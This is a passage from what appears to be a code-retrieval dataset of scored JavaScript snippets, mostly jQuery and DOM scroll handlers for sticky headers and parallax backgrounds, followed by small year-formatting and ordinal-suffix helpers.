"function scroll(){\n var windowTop = $(window).scrollTop();\n\n articleSections.each(function(i,el){\n var offset = $(el).offset();\n var fromTop = offset.top - windowTop;\n if(fromTop >= 0 && fromTop < 400) {\n var id = $(el).attr('id');\n selectSection(id);\n }\n });\n\n if(windowTop + windowHeight == docHeight){\n var last = articleSections[articleSections.length - 1];\n var id = $(last).attr('id');\n selectSection(id);\n }\n}", "title": "" }, { "docid": "42f726dcfca1dffad50107ea8fd76b44", "score": "0.5568002", "text": "function scrollFunction(header) {\n //console.log(window.pageYOffset);\n if (window.pageYOffset - scrollTop >= 0 ) {\n header.style.position = \"relative\"; \n } else { \n header.style.position = \"fixed\";\n }\n scrollTop = window.pageYOffset\n}", "title": "" }, { "docid": "fed9817654e79c598f51bafec3737699", "score": "0.5564371", "text": "function detailLayerScroll(){\n var lastScrollTop = 0;\n $class.detailLayer.scroll(function(e){\n e.preventDefault();\n $class.layerContent.find('.row').each( function(i){\n var bottomObject = $(this).offset().top,\n bottomWindow = $(window).scrollTop() + $(window).height();\n if( bottomWindow > bottomObject)\n {\n $(this).addClass(\"on\");\n }\n });\n });\n }", "title": "" }, { "docid": "5085af7ee38df5bcba8fb35db4b736b1", "score": "0.5546643", "text": "parallax() {\n // whether or not banner element has been scrolled into view\n const isElementVisible = this.$banner.offsetTop - window.innerHeight <= window.scrollY\n && window.scrollY <= this.$banner.offsetHeight + (this.bannerHt*2);\n \n if ( isElementVisible ) {\n // amount of pixels to shift background, based on element's vertical position on the page\n const plxScroll = window.scrollY * this.scrollRatio;\n // set new `top` value on background\n this.$bannerBg.style.top = this.initialBannerTop - plxScroll + 'px';\n }\n }", "title": "" }, { "docid": "476da62f838c720a604952ad99ec8f62", "score": "0.55417794", "text": "function windowScroll() {\n if (window.scrollY >= 60) {\n $('.header').addClass('header--stick');\n } else {\n $('.header').removeClass('header--stick');\n }\n}", "title": "" }, { "docid": "a123ff97084fe7bc0f422621566a5f1a", "score": "0.55369127", "text": "onScrollTop() {\n let top = scrollTop();\n\n if (top < this.prevTop || top < this.header.height()) {\n this.header.removeClass('away');\n } else {\n this.header.addClass('away');\n }\n\n this.prevTop = top;\n }", "title": "" }, { "docid": "546a32a94a68d06e6ba75722ddd785ac", "score": "0.55294174", "text": "function changeBackground(){\n if(document.body.scrollTop > 20 || document.documentElement.scrollTop > 20){\n document.getElementById(\"navbar\").style.background= \"#a13dff\";\n }\n else if(document.body.scrollTop === 0 || document.documentElement.scrollTop === 0){\n document.getElementById(\"navbar\").style.background = \"transparent\";\n }\n}", "title": "" }, { "docid": "ae4e949189d2bdf9a09ac68bbfd635c0", "score": "0.55232644", "text": "function Move(){ \r\n\t\tvar pos = $window.scrollTop(); //position of the scrollbar\r\n\r\n\t\t//if the first section is in view...\r\n\t\tif($firstBG.hasClass(\"inview\")){\r\n\t\t\t//call the newPos function and change the background position\r\n\t\t\t$firstBG.css({'backgroundPosition': newPos(50, windowHeight, pos, 1100, 0.3)}); \r\n\t\t}\r\n\t\t\r\n\t\t//if the second section is in view...\r\n\t\tif($secondBG.hasClass(\"inview\")){\r\n\t\t\t//call the newPos function and change the background position\r\n\t\t\t$secondBG.css({'backgroundPosition': newPos(50, windowHeight, pos, 1900, 0.3)});\r\n\t\t}\r\n\t\t\r\n\t\t//if the third section is in view...\r\n\t\tif($thirdBG.hasClass(\"inview\")){\r\n\t\t\t//call the newPos function and change the background position\r\n\t\t\t$thirdBG.css({'backgroundPosition': newPos(50, windowHeight, pos, 2750, 0.3)});\r\n\t\t}\r\n\t\t\r\n\t\t//if the fourth section is in view...\r\n\t\tif($fourthBG.hasClass(\"inview\")){\r\n\t\t\t//call the newPos function and change the background position for CSS3 multiple backgrounds\r\n\t\t\t$fourthBG.css({'backgroundPosition': newPos(50, windowHeight, pos, 3850, 0.3)});\r\n\t\t}\r\n\t\t\r\n\t\t$('#pixels').html(pos); //display the number of pixels scrolled at the bottom of the page\r\n\t}", "title": "" }, { "docid": "1143a28ba6ed374f9368609073b3e2e6", "score": "0.55156344", "text": "function parallaxScroll(){\n\tvar scrolled = $(window).scrollTop();\n\t$('#modul').css('top',(0-(scrolled*.25))+'px');\n}", "title": "" }, { "docid": "c6b05c4c45d9d4ef689066d09afa926a", "score": "0.55107445", "text": "function scrollFun() {\n\tif (typeof headerbar !== 'undefined') {\n\t\tvar className = \"stickybar\";\n\t} else {\n\t\tvar className = \"sticky\";\n\t}\n\t\n\tif (typeof header !== 'undefined') {\n\t\tif (window.pageYOffset >= sticky) {\n\t\t\theader.classList.add(className);\n\t\t} else {\n\t\t\theader.classList.remove(className);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d43aab5357e65781e916cad599136180", "score": "0.55075157", "text": "function lcstickyheader() {\n $(window).scroll(function() {\n var offsetscroll = $(window).scrollTop();\n var offsetheader = ($(\".top-bar\").height() + 20 );\n if(offsetscroll > offsetheader) {\n $(\"#header\").addClass(\"sticky-header\");\n } else {\n $(\"#header\").removeClass(\"sticky-header\");\n }\n });\n}", "title": "" }, { "docid": "4be5eae07dda9686f25e6dd403a0212a", "score": "0.55026156", "text": "function navScrollEffect() {\n if (document.body.scrollTop > 50 || document.documentElement.scrollTop > 50) {\n $(\".main-nav\").addClass('fade-height');\n } else {\n $(\".main-nav\").removeClass('fade-height');\n }\n }", "title": "" }, { "docid": "a02edc2024c8d0d260d54fc1c03ca8d8", "score": "0.54949087", "text": "function header_fix() {\n win_width = $(window).width();\n if (win_width <= 980 && $(window).scrollTop() >= $('.topbar').height()) {\n $('.header').addClass('fix_header');\n } else {\n $('.header').removeClass('fix_header');\n }\n}", "title": "" }, { "docid": "502e02e8f47218fac6dc42be9de4c0d4", "score": "0.548561", "text": "function checkHeaderFixed(scrollPos) {\t\n\t\t\t\t\t//Masthead\n\t\t\t\t\tif (scrollPos > 60 && !rolledUp) {\n\t\t\t\t\t\t$(\"header\").addClass(\"fix\");\t\t\t\t\t\t\t\n\t\t\t\t\t\trolledUp = true;\n\t\t\t\t\t} else if (scrollPos < 101 && rolledUp) {\n\t\t\t\t\t\t$(\"header\").removeClass(\"fix\");\n\t\t\t\t\t\trolledUp = false;\n\t\t\t\t\t}\t\t\t\n\t\t\t\t}", "title": "" }, { "docid": "a4568de3bb303bce861372050be87f07", "score": "0.547375", "text": "function bgColorHandler() {\n \n var panelsColor = document.querySelectorAll('[data-bodybackground]');\n \n for(var i=0; i<panelsColor.length; i++) {\n \n var me = panelsColor[i];\n var $me = $(me);\n \n new ScrollMagic.Scene({\n duration: $(me).outerHeight(), // me.offsetHeight, // winH,\n offset: 0, // -80,\n triggerHook: \"onCenter\",\n triggerElement: me\n })\n // .addIndicators({ name: 'Color' })\n .on(\"enter\", function(e) {\n var bodyColor = e.target.triggerElement().getAttribute('data-bodybackground');\n document.body.setAttribute('data-bodybackground', bodyColor);\n })\n .addTo(panelController);\n \n }\n }", "title": "" }, { "docid": "e8187e4a101aad3a3f1efef0c10a8789", "score": "0.54703104", "text": "function update(){\n\t\t\tvar pos = jQuerywindow.scrollTop();\t\t\t\t\n\n\t\t\tjQuerythis.each(function(){\n\t\t\t\tvar jQueryelement = jQuery(this);\n\t\t\t\tvar top = jQueryelement.offset().top;\n\t\t\t\tvar height = getHeight(jQueryelement);\n\n\t\t\t\t// Check if totally above or totally below viewport\n\t\t\t\tif (top + height < pos || top > pos + windowHeight) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tjQuerythis.css('backgroundPosition', xpos + \" \" + Math.round((firstTop - pos) * speedFactor) + \"px\");\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "e8187e4a101aad3a3f1efef0c10a8789", "score": "0.54703104", "text": "function update(){\n\t\t\tvar pos = jQuerywindow.scrollTop();\t\t\t\t\n\n\t\t\tjQuerythis.each(function(){\n\t\t\t\tvar jQueryelement = jQuery(this);\n\t\t\t\tvar top = jQueryelement.offset().top;\n\t\t\t\tvar height = getHeight(jQueryelement);\n\n\t\t\t\t// Check if totally above or totally below viewport\n\t\t\t\tif (top + height < pos || top > pos + windowHeight) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tjQuerythis.css('backgroundPosition', xpos + \" \" + Math.round((firstTop - pos) * speedFactor) + \"px\");\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "e8187e4a101aad3a3f1efef0c10a8789", "score": "0.54703104", "text": "function update(){\n\t\t\tvar pos = jQuerywindow.scrollTop();\t\t\t\t\n\n\t\t\tjQuerythis.each(function(){\n\t\t\t\tvar jQueryelement = jQuery(this);\n\t\t\t\tvar top = jQueryelement.offset().top;\n\t\t\t\tvar height = getHeight(jQueryelement);\n\n\t\t\t\t// Check if totally above or totally below viewport\n\t\t\t\tif (top + height < pos || top > pos + windowHeight) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tjQuerythis.css('backgroundPosition', xpos + \" \" + Math.round((firstTop - pos) * speedFactor) + \"px\");\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "f7d24e22636f497748b1a3d9ea95ffab", "score": "0.5466297", "text": "function update(){\n\t\t\tvar pos = $window.scrollTop();\t\t\t\t\n\n\t\t\t$this.each(function(){\n\t\t\t\tvar $element = $(this);\n\t\t\t\tvar top = $element.offset().top;\n\t\t\t\tvar height = getHeight($element);\n\n\t\t\t\t// Check if totally above or totally below viewport\n\t\t\t\tif (top + height < pos || top > pos + windowHeight) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t$this.css('backgroundPosition', xpos + \" \" + Math.round((firstTop - pos) * speedFactor) + \"px\");\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "f7d24e22636f497748b1a3d9ea95ffab", "score": "0.5466297", "text": "function update(){\n\t\t\tvar pos = $window.scrollTop();\t\t\t\t\n\n\t\t\t$this.each(function(){\n\t\t\t\tvar $element = $(this);\n\t\t\t\tvar top = $element.offset().top;\n\t\t\t\tvar height = getHeight($element);\n\n\t\t\t\t// Check if totally above or totally below viewport\n\t\t\t\tif (top + height < pos || top > pos + windowHeight) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t$this.css('backgroundPosition', xpos + \" \" + Math.round((firstTop - pos) * speedFactor) + \"px\");\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "f7d24e22636f497748b1a3d9ea95ffab", "score": "0.5466297", "text": "function update(){\n\t\t\tvar pos = $window.scrollTop();\t\t\t\t\n\n\t\t\t$this.each(function(){\n\t\t\t\tvar $element = $(this);\n\t\t\t\tvar top = $element.offset().top;\n\t\t\t\tvar height = getHeight($element);\n\n\t\t\t\t// Check if totally above or totally below viewport\n\t\t\t\tif (top + height < pos || top > pos + windowHeight) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t$this.css('backgroundPosition', xpos + \" \" + Math.round((firstTop - pos) * speedFactor) + \"px\");\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "f7d24e22636f497748b1a3d9ea95ffab", "score": "0.5466297", "text": "function update(){\n\t\t\tvar pos = $window.scrollTop();\t\t\t\t\n\n\t\t\t$this.each(function(){\n\t\t\t\tvar $element = $(this);\n\t\t\t\tvar top = $element.offset().top;\n\t\t\t\tvar height = getHeight($element);\n\n\t\t\t\t// Check if totally above or totally below viewport\n\t\t\t\tif (top + height < pos || top > pos + windowHeight) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t$this.css('backgroundPosition', xpos + \" \" + Math.round((firstTop - pos) * speedFactor) + \"px\");\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "f7d24e22636f497748b1a3d9ea95ffab", "score": "0.5466297", "text": "function update(){\n\t\t\tvar pos = $window.scrollTop();\t\t\t\t\n\n\t\t\t$this.each(function(){\n\t\t\t\tvar $element = $(this);\n\t\t\t\tvar top = $element.offset().top;\n\t\t\t\tvar height = getHeight($element);\n\n\t\t\t\t// Check if totally above or totally below viewport\n\t\t\t\tif (top + height < pos || top > pos + windowHeight) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t$this.css('backgroundPosition', xpos + \" \" + Math.round((firstTop - pos) * speedFactor) + \"px\");\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "d829d1ab9e6d88bc496a531ae785ce30", "score": "0.5454993", "text": "function update(){\r\n\t\t\tvar pos = $window.scrollTop();\t\t\t\t\r\n\r\n\t\t\t$this.each(function(){\r\n\t\t\t\tvar $element = $(this);\r\n\t\t\t\tvar top = $element.offset().top;\r\n\t\t\t\tvar height = getHeight($element);\r\n\r\n\t\t\t\t// Check if totally above or totally below viewport\r\n\t\t\t\tif (top + height < pos || top > pos + windowHeight) {\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$this.css('backgroundPosition', xpos + \" \" + Math.round((firstTop - pos) * speedFactor) + \"px\");\r\n\t\t\t});\r\n\t\t}", "title": "" }, { "docid": "3bd4687abc4fecc5c05ce63d234efb86", "score": "0.5454565", "text": "attachScroll () {\n $(window).scroll(function() {\n if ($(this).scrollTop() > 140) {\n $('.header-sticky').addClass('active');\n } else {\n $('.header-sticky').removeClass('active');\n }\n });\n }", "title": "" }, { "docid": "295b4e1efd879ead92e692efc639c83d", "score": "0.5448933", "text": "function init() {\n var windowEl = angular.element($window);\n\n function handler() {\n\n var scrollTop = ($window.pageYOffset || document.scrollTop) - (document.clientTop || 0),\n nav = document.getElementsByClassName('theme-header')[0],\n navHeight = 80;\n\n if (scrollTop < navHeight || isNaN(scrollTop)) {\n angular.element(nav).removeClass('is-bottom fadeOutIn');\n } else {\n angular.element(nav).addClass('is-bottom fadeOutIn');\n }\n\n angular.forEach(elem.find('section'), function (value) {\n var speed = value.dataset.speed,\n type = value.dataset.type;\n\n if (type) {\n angular.element($window).bind('scroll', function () {\n\n var yPos = -(scrollTop / speed);\n //console.log('speed: ' + speed + ' i: ' + i);\n // Put together our final background position\n var coords = '50% ' + yPos + 'px';\n\n value.style.backgroundPosition = coords;\n\n scope.$apply();\n });\n }\n });\n }\n\n windowEl.on('scroll', scope.$apply.bind(scope, handler));\n }", "title": "" } ]
fa484cb8a3042f0d3d564fb6489a90e4
Accepts an integer such as years, months, etc Displays a partial output such as 1 year or 2 years, etc using getPrefix()
[ { "docid": "8cad707d2c5887cd85375977707d4da5", "score": "0.0", "text": "function getPartial(duration, val) {\n\n let prefix = getPrefix(duration, val)\n\n return val + ' ' + prefix\n}", "title": "" } ]
[ { "docid": "23f50576df9d1b7e9b4fdff13024172d", "score": "0.6764963", "text": "getYearNumerals(year) { return `${year}`; }", "title": "" }, { "docid": "23f50576df9d1b7e9b4fdff13024172d", "score": "0.6764963", "text": "getYearNumerals(year) { return `${year}`; }", "title": "" }, { "docid": "23f50576df9d1b7e9b4fdff13024172d", "score": "0.6764963", "text": "getYearNumerals(year) { return `${year}`; }", "title": "" }, { "docid": "577737ecd470cc3ebf5bc64c533c6343", "score": "0.60203487", "text": "function buildYears() {\n var html = ['<ul class=\"years selector\" style=\"display:none\">'];\n var thisYear = parseDateField().getFullYear();\n var startYear = thisYear - 5;\n var endYear = thisYear + 6;\n for (var i=startYear; i <= endYear; i++) {\n html.push('<li>');\n html.push(i);\n html.push('</li>');\n }\n html.push('</ul>');\n return html.join('');\n }", "title": "" }, { "docid": "c22d3fe90fb2d1c5bfd1af0ba09025d4", "score": "0.5960141", "text": "function checkNamNhuan(year){\n\n year = year || \"Khong co du lieu\";\n\n if (year % 100 == 0){\n if (year % 400 == 0){\n document.write(year + \" la nam nhuan.\");\n }\n else{\n document.write(year + \" khong phai la nam nhuan. \");\n }\n }\n else if (year % 4 == 0){\n document.write(year + \" la nam nhuan.\");\n }\n else{\n document.write(year + \" khong la nam nhuan.\")\n }\n}", "title": "" }, { "docid": "9c1b4c39fe8a1f798f8d2faf51fda88d", "score": "0.5942316", "text": "function yearsToString() {\n var years = 35;\n document.getElementById(\"married\").innerHTML = years.toString();\n}", "title": "" }, { "docid": "2d95db4960aa8d554b1ddb5ff2178313", "score": "0.58507615", "text": "function getPrefix(duration, val) {\n\n let obj = {\n year: ['year', 'years'],\n month: ['month', 'months'],\n day: ['day', 'days'],\n hour: ['hour', 'hours'],\n minute: ['minute', 'minutes'],\n second: ['second', 'seconds']\n }\n\n let offset = 0\n\n offset = val > 1 ? 1 : 0\n\n return obj[duration][offset]\n\n}", "title": "" }, { "docid": "3f1408f8139338689b171404b233faa3", "score": "0.5847279", "text": "function formatNum(num) {\n\n if (num[0] == '0') { // Si le jour commence par '0', c'est qu'il est compris entre 01 et 09.\n num = num[1]; // Donc on enlève le '0' et on ne garde que le 2nd chiffre.\n\n // Ajout du suffixe :\n switch (num) {\n case \"1\":\n num += `<span>st</span>`;\n break;\n case \"2\":\n num += `<span>nd</span>`;\n break;\n case \"3\":\n num += `<span>rd</span>`;\n break;\n default:\n num += `<span>th</span>`;\n }\n }\n return num\n}", "title": "" }, { "docid": "aa838a2eba4491f637e7f431df238169", "score": "0.58273727", "text": "function getSelectedYearShort() {\n return getSelectedYearFull().substring(2,4); \n}", "title": "" }, { "docid": "981e10c9892ec5dd937aebf8bf7c8a3d", "score": "0.5786374", "text": "function updateYear(index) {\r\n\tif (index == 0) {\r\n\t\t$('#year').html(\"<h4>2013</h4\");\r\n\t} else if (index == 1) {\r\n\t\t$('#year').html(\"<h4>2014</h4\");\r\n\t} else if (index == 2) {\r\n\t\t$('#year').html(\"<h4>2015</h4\");\r\n\t} else if (index == 3) {\r\n\t\t$('#year').html(\"<h4>2016</h4\");\r\n\t} else if (index == 4) {\r\n\t\t$('#year').html(\"<h4>2017</h4\");\r\n\t} else if (index == 5) {\r\n\t\t$('#year').html(\"<h4>2018</h4\");\r\n\t} else if (index == 6) {\r\n\t\t$('#year').html(\"<h4>2019</h4\");\r\n }\r\n}", "title": "" }, { "docid": "1ae6df7a7dbf999b060ef4e0a61b0084", "score": "0.57787275", "text": "function showYear(firstYear, thisYear, yearToShow){\n\t//hide all years\n\t//show one year\n\tvar htmlString = \"\";\n\t\n\tif(firstYear != thisYear){\n\t\tfor(var i=firstYear;i<=thisYear;i++){\n\t\t\thtmlString = \"months\" + i;\n\t\t\t//console.log(htmlString);\n\t\t\tdocument.getElementById(htmlString).style.display = \"none\";\n\t\t\tdocument.getElementById(htmlString).required = false;\n\t\t\tdocument.getElementById(htmlString).value = \"\";\n\t\t}\n\t}\n\t\n\thtmlString = \"months\" + yearToShow;\n\tdocument.getElementById(htmlString).required = true;\n\tdocument.getElementById(htmlString).style.display = \"block\";\n\tdocument.getElementById(\"reportMonth\").value = 0;\n\t\n}//end function showYear()", "title": "" }, { "docid": "312de868de2cfbf4a2e4573e0a58b9ea", "score": "0.57651955", "text": "function displayYear(year) {\n \tconsole.log(dot.data(interpolateData(year), key).call(position).sort(order))\n dot.data(interpolateData(year), key).call(position).sort(order);\n \tlabel.text(Math.round(year));\n }", "title": "" }, { "docid": "c2eabb42d8bd71623ab06156cc30f4f0", "score": "0.5758283", "text": "function displayYear(year) {\r\n dot.data(interpolateData(year+dragit.time.min), key).call(position).sort(order);\r\n label.text(dragit.time.min + Math.round(year));\r\n }", "title": "" }, { "docid": "33b7a888faa66236c9f2d417ef6f0021", "score": "0.5756958", "text": "function displayYearStaticStart(firstYear, lastYear, presetDate, preDate) {\n if (presetDate && (preDate != null)) {\n startDate = new Date(preDate);\n startDay = startDate.getDate();\n startMonth = startDate.getMonth();\n startYear = startDate.getFullYear();\n }\n else if (presetDate) {\n startDay = todayDay;\n startMonth = todayMonth;\n startYear = todayYear;\n }\n\n for (count = firstYear; count <= (todayYear + lastYear); count++) {\n document.write(\"<OPTION VALUE='\" + count + \"'\");\n if (presetDate && (count == startYear)) {\n document.write(\" SELECTED\");\n }\n document.write(\">\" + count + \"</OPTION>\");\n }\n}", "title": "" }, { "docid": "c390a0f48ca4aeb2a02ffb52fea99230", "score": "0.5737991", "text": "function formatYear(year) {\n if (year >= 1000) {\n return year.toString();\n }\n if (year > 99 && year < 1000) {\n return `0${year}`;\n }\n if (year > 9 && year < 100) {\n return `00${year}`;\n }\n if (year >= 0 && year < 10) {\n return `000${year}`;\n }\n}", "title": "" }, { "docid": "c390a0f48ca4aeb2a02ffb52fea99230", "score": "0.5737991", "text": "function formatYear(year) {\n if (year >= 1000) {\n return year.toString();\n }\n if (year > 99 && year < 1000) {\n return `0${year}`;\n }\n if (year > 9 && year < 100) {\n return `00${year}`;\n }\n if (year >= 0 && year < 10) {\n return `000${year}`;\n }\n}", "title": "" }, { "docid": "68978bb74051c30741565708d6930b84", "score": "0.57105154", "text": "function displayYearStatic(firstYear, lastYear, presetDate, preDate) {\n if (presetDate && (preDate != null)) {\n startDate = new Date(preDate);\n startDay = startDate.getDate();\n startMonth = startDate.getMonth();\n startYear = startDate.getFullYear();\n }\n else if (presetDate) {\n startDay = todayDay;\n startMonth = todayMonth;\n startYear = todayYear;\n }\n\n for (count = firstYear; count <= lastYear; count++) {\n document.write(\"<OPTION VALUE='\" + count + \"'\");\n if (presetDate && (count == startYear)) {\n document.write(\" SELECTED\");\n }\n document.write(\">\" + count + \"</OPTION>\");\n }\n}", "title": "" }, { "docid": "723faaa15a46b5493569ce0b74e052ff", "score": "0.5709271", "text": "function printwordjs(i) {\n if (i >= 12) {\n return \"PM\";\n } else {\n return \"AM\";\n }\n}", "title": "" }, { "docid": "f672a9952ac600bdc7db7b712e094be8", "score": "0.5681326", "text": "function displayYear(year) {\n\t\t\t\t\tdot.data(interpolateData(year+dragit.time.min), key).call(position).sort(order);\n\t\t\t\t\tlabel.text(dragit.time.min + Math.round(year));\n\t\t\t\t}", "title": "" }, { "docid": "0fc68b28ae6b9989a65c4368d8050379", "score": "0.56611294", "text": "function displayYear(year) {\n dot.data(interpolateData(year), key).call(position).sort(order);\n \tlabel.text(Math.round(year));\n }", "title": "" }, { "docid": "c1226a4d1f44b85973f78e1797668730", "score": "0.5631161", "text": "function format(num){\n if(num >3 & num < 21)\n return 'th'\n \n switch(num % 10){\n case 1 :\n return 'st';\n case 2 :\n return 'nd';\n case 3 :\n return 'rd';\n default:\n return 'th'\n \n }\n \n}", "title": "" }, { "docid": "d9f57bf182624ec275b1682e34d5d51c", "score": "0.561779", "text": "function displayYear(year) {\n dot.data(interpolateData(year), key).call(position).sort(order);\n label.text(Math.round(year));\n }", "title": "" }, { "docid": "d9f57bf182624ec275b1682e34d5d51c", "score": "0.561779", "text": "function displayYear(year) {\n dot.data(interpolateData(year), key).call(position).sort(order);\n label.text(Math.round(year));\n }", "title": "" }, { "docid": "c7f3e6dd3a8febd27a2098f0c02c78d2", "score": "0.55853057", "text": "function getMonthName(intMonth, intYear){\r\n\tvar monthName = \"\";\r\n\tswitch (intMonth){\r\n\t\tcase 1: {\r\n\t\t\tmonthName = \"January, \";\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcase 2: {\r\n\t\t\tmonthName = \"February, \";\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcase 3: {\r\n\t\t\tmonthName = \"March, \";\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcase 4: {\r\n\t\t\tmonthName = \"April, \";\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcase 5: {\r\n\t\t\tmonthName = \"May, \";\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcase 6: {\r\n\t\t\tmonthName = \"June, \";\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcase 7: {\r\n\t\t\tmonthName = \"July, \";\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcase 8: {\r\n\t\t\tmonthName = \"August, \";\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcase 9: {\r\n\t\t\tmonthName = \"September, \";\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcase 10: {\r\n\t\t\tmonthName = \"October, \";\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcase 11: {\r\n\t\t\tmonthName = \"November, \";\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcase 12: {\r\n\t\t\tmonthName = \"December, \";\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\tmonthName += intYear;\r\n\treturn monthName;\r\n}", "title": "" }, { "docid": "76195dd82ba3b3c89c9a6b6c9f2898ff", "score": "0.5574917", "text": "function nextYear() {\n\tlet nextYear = fullYear++;\n\tdocument.getElementById(\"title__year\").innerHTML = nextYear;\n}", "title": "" }, { "docid": "f9f5fde212375ba3e62df02adf75bd4b", "score": "0.5562062", "text": "function humanize(N) {\r\n if (N % 100 > 10 && N % 100 < 20) {\r\n return N + \"th\"\r\n }\r\n switch (N % 10) {\r\n case 1:\r\n return N + \"st\"\r\n case 2:\r\n return N + \"nd\"\r\n case 3:\r\n return N + \"rd\"\r\n default:\r\n return N + \"th\"\r\n }\r\n}", "title": "" }, { "docid": "f2bdee23c9fda48067e7c9fdf362b859", "score": "0.5556292", "text": "function displayYear(year) {\n dot.data(interpolateData(year), key).call(position).sort(order);\n label.text(Math.round(year));\n }", "title": "" }, { "docid": "1c246057f9e1ba0eccc2cd686bdd6fa0", "score": "0.5555119", "text": "function displayYearVariable(firstYear, lastYear, presetDate, preDate) {\n if (presetDate && (preDate != null)) {\n startDate = new Date(preDate);\n startDay = startDate.getDate();\n startMonth = startDate.getMonth();\n startYear = startDate.getFullYear();\n }\n else if (presetDate) {\n startDay = todayDay;\n startMonth = todayMonth;\n startYear = todayYear;\n }\n\n for (count = (todayYear - firstYear); count <= (todayYear + lastYear); count++) {\n document.write(\"<OPTION VALUE='\" + count + \"'\");\n if (presetDate && (count == startYear)) {\n document.write(\" SELECTED\");\n }\n document.write(\">\" + count + \"</OPTION>\");\n }\n}", "title": "" }, { "docid": "79a964da8167201d723d974226436ead", "score": "0.555489", "text": "function prefixNumber(number) {\n if(number < 10) {\n number = '0'+number;\n }\n return number;\n}", "title": "" }, { "docid": "cd30886fca3578b74e73e24fe973d56a", "score": "0.5547919", "text": "function show_year() {\n\n\tvar dt= new Date();\n\n\tvar my_year=dt.getFullYear();\n\n\treturn my_year;\n\n}", "title": "" }, { "docid": "f7cb6a33fd936aa9a96059530d9e1fbd", "score": "0.5530102", "text": "function displayYear(year) {\n dot.data(interpolateData(year), key).call(position).sort(order);\n label.text(Math.round(year));\n }", "title": "" }, { "docid": "f7cb6a33fd936aa9a96059530d9e1fbd", "score": "0.5530102", "text": "function displayYear(year) {\n dot.data(interpolateData(year), key).call(position).sort(order);\n label.text(Math.round(year));\n }", "title": "" }, { "docid": "f7cb6a33fd936aa9a96059530d9e1fbd", "score": "0.5530102", "text": "function displayYear(year) {\n dot.data(interpolateData(year), key).call(position).sort(order);\n label.text(Math.round(year));\n }", "title": "" }, { "docid": "f7cb6a33fd936aa9a96059530d9e1fbd", "score": "0.5530102", "text": "function displayYear(year) {\n dot.data(interpolateData(year), key).call(position).sort(order);\n label.text(Math.round(year));\n }", "title": "" }, { "docid": "9c3fcbf8a95dc82a7185c684724be769", "score": "0.55251294", "text": "function humanizeNumber(num) {\n if (typeof num == \"undefined\") {\n return;\n }\n if (num % 100 >= 11 && num % 100 <= 13) {\n return num + \"th\";\n }\n switch (num % 10) {\n case 1:\n return num + \"st\";\n case 2:\n return num + \"nd\";\n case 3:\n return num + \"rd\";\n }\n return num + \"th\";\n}", "title": "" }, { "docid": "355a5370288b2d6432d72dc5e5250e99", "score": "0.5521061", "text": "function humanize(num) {\n var strNum = String(num);\n var howLong = strNum.length;\n\n if (num % 100 == 11 || num % 100 == 12 || num % 100 == 13) {\n console.log(num + \"'th\");\n } else {\n if (strNum[howLong - 1] == 1) {\n console.log(num + \"'st\");\n } else if (strNum[howLong - 1] == 2) {\n console.log(num + \"'nd\")\n } else if (strNum[howLong - 1] == 3) {\n console.log(num + \"'rd\")\n } else {\n console.log(num + \"'th\");\n }\n return\n }\n}", "title": "" }, { "docid": "741bf49d3bf20f325b5e4dc47fa3bb05", "score": "0.55132157", "text": "formatStart() {\r\n }", "title": "" }, { "docid": "6c43b902b3b8507b91fe0d9208b27b92", "score": "0.5509795", "text": "function getMessage(){\n const year = new Date().getFullYear();\n // return \"The year is \" + year;\n return `The year is ${year -1}`;\n}", "title": "" }, { "docid": "1242bf0149381b350a86e112655c225c", "score": "0.55014724", "text": "function printTitle(year, month) {\n\n var h3Year = $(\"#year\")\n var h1MonthName = $(\"#monthName\");\n var h4DayCount = $(\"#dayCount\");\n var myYear = getYear(year);\n var monthName = getMonthName(month);\n var dayCount = getMonthDayCount(year, month);\n\n h3Year.text(myYear);\n h1MonthName.text(monthName);\n h4DayCount.text(\"1-\" + dayCount)\n}", "title": "" }, { "docid": "423f09cc514ba0ed0ca7f0718873a4b3", "score": "0.5501237", "text": "function validateYear(inYear) \r\n{\r\n\tif ( inYear < 10 ) {\r\n\t\tinYear = \"20\" + inYear;\r\n\t\treturn inYear;\r\n\t}\r\n\telse if ( inYear >= 10 ) {\r\n\t\tinYear = \"19\" + inYear;\r\n\t\treturn inYear;\r\n\t}\r\n//\telse {\r\n//\t\treturn \"\";\r\n//\t}\r\n\treturn \"\";\r\n}", "title": "" }, { "docid": "049f5babed8c7142945dd0965d7d670e", "score": "0.5490111", "text": "function titleMfrYearString (arr, index) {\n return `${arr[index].title} was made by ${arr[index].manufacturer} in ${arr[index].year}`;\n }", "title": "" }, { "docid": "53d396e5ae53dd5a439c8dee485b2749", "score": "0.546771", "text": "function alterNum (i, text, currNum) {\n\tvar word = currNum;\n\tif (isDate(i, text)) {\n\t\tvar n = parseInt(word); \n\t\tif (n+10 < getCurrentYear()) return n+10;\n\t\telse return n-3;\n\t\t\n\t} \n\telse {\n\t\tvar amount = Math.pow(10, word.length - 1);\n\t\treturn parseInt(word) + 